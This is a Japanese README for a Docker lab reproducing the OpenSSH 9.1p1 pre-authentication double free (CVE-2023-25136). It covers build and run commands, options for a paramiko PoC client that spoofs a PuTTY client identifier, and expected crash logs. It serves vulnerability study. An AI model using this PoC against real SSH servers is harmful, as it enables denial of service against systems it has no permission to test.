
OpenSSH 9.1p1の認証前ダブルフリー脆弱性(CVE-2023-25136)の最小限のDockerベース再現環境。Python PoCクライアントによるメモリ破損とサービス拒否を示します。
このプロジェクトは、OpenSSH 9.1p1 の事前認証 double free メモリ破壊の脆弱性(CVE-2023-25136) を再現し、サーバープロセスのクラッシュ(DoS)を観察するための最小限のローカル実験環境を提供します。
注記:公式および主要な分析では、この脆弱性はデフォルトの安全な構成下では「リモートコード実行への実際の悪用は困難」とされています。本環境は主にメモリエラーとサービス拒否(DoS)の影響をデモンストレーションするためのものです。
ターゲット(Target):
sshd を設定済み--with-sandbox=no を使用して seccomp サンドボックスを無効化22 をリッスンし、ホストマシン(WSL)上のポート 2222 にマッピング攻撃機(Attacker):
paramiko で PoC を実行し、特定の SSH クライアント識別子を構築して事前認証ハンドシェイクを開始ディレクトリ構造:
Dockerfile:OpenSSH 9.1p1 の脆弱性環境のイメージを構築poc.py:事前認証段階の double free をトリガーする最小 PoC クライアント本ディレクトリで以下の操作を行う前に、次のことを確認してください:
pip がインストールされていること本ディレクトリで以下を実行:
docker build -t sshd-9.1p1-vuln .
docker run --rm -d --name sshd-vuln -p 2222:22 sshd-9.1p1-vuln
説明:
--rm:コンテナ終了時に自動削除--name sshd-vuln:コンテナ名-p 2222:22:コンテナ内のポート 22 をホストのポート 2222 にマッピングdocker ps
以下のような表示が確認できるはずです:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxx sshd-9.1p1-vuln "/usr/sbin/sshd -D…" Up ... 0.0.0.0:2222->22/tcp
本ディレクトリで以下を実行:
pip install paramiko
poc.py は paramiko.Transport を使用してターゲットの SSH サーバーに能動的に接続し、事前認証段階でクライアント識別子を偽装して double free のトリガーを試みます。
主な特徴:
127.0.0.1:2222(ローカルの Docker コンテナ)SSH-2.0-PuTTY_Release_0.64-t/--target:ターゲット IP(デフォルト 127.0.0.1)-p/--port:ターゲットポート(デフォルト 2222)-c/--client-id:偽装する SSH クライアント識別子--timeout:タイムアウト時間(秒)-v/--verbose:詳細なエラー情報を出力コンテナ sshd-vuln が起動していることを確認した上で、本ディレクトリで以下を実行:
python3 poc.py
またはパラメータを明示的に指定:
python3 poc.py -t 127.0.0.1 -p 2222 -v
クライアントの想定される出力例:
==============================================
CVE-2023-25136 OpenSSH Pre-Auth Double Free
Minimal PoC Client
==============================================
[2024-xx-xx xx:xx:xx] Target: 127.0.0.1:2222, ClientID: SSH-2.0-PuTTY_Release_0.64
[+] Sending crafted pre-auth handshake...
[-] Authentication failed or connection closed early.
请在服务端 sshd 日志中查看是否出现 'free(): double free detected' 等信息,以确认是否触发 CVE-2023-25136。
説明:
Authentication failed や connection closed が表示されるのは想定された動作です。サーバー側の事前認証サブプロセスが処理中にクラッシュするか、能動的に接続を閉じる可能性があるためです。PoC 実行後、ホストマシンでコンテナのログを確認:
docker logs sshd-vuln
以下のような出力が確認できるはずです:
Server listening on 0.0.0.0 port 22.
Server listening on :: port 22.
Invalid user from 172.17.0.1 port xxxxx
free(): double free detected in tcache 2
項目の説明:
Invalid user:PoC が空のユーザー名を使用するため、OpenSSH が不正なユーザー試行を記録free(): double free detected in tcache 2:glibc が double free を検出して現在の sshd 子プロセスを終了します。これが本実験で観察するメモリ破壊/DoS の現象です注意:この行を確認できるようにするため、OpenSSH のビルド時に seccomp サンドボックス(
--with-sandbox=no)を無効化しています。無効化しない場合、サンドボックスが double free の前に異常な動作を検知して子プロセスを直接終了する可能性があります。
sshd プロセスは引き続き後続の接続のために新しい子プロセスをフォークします。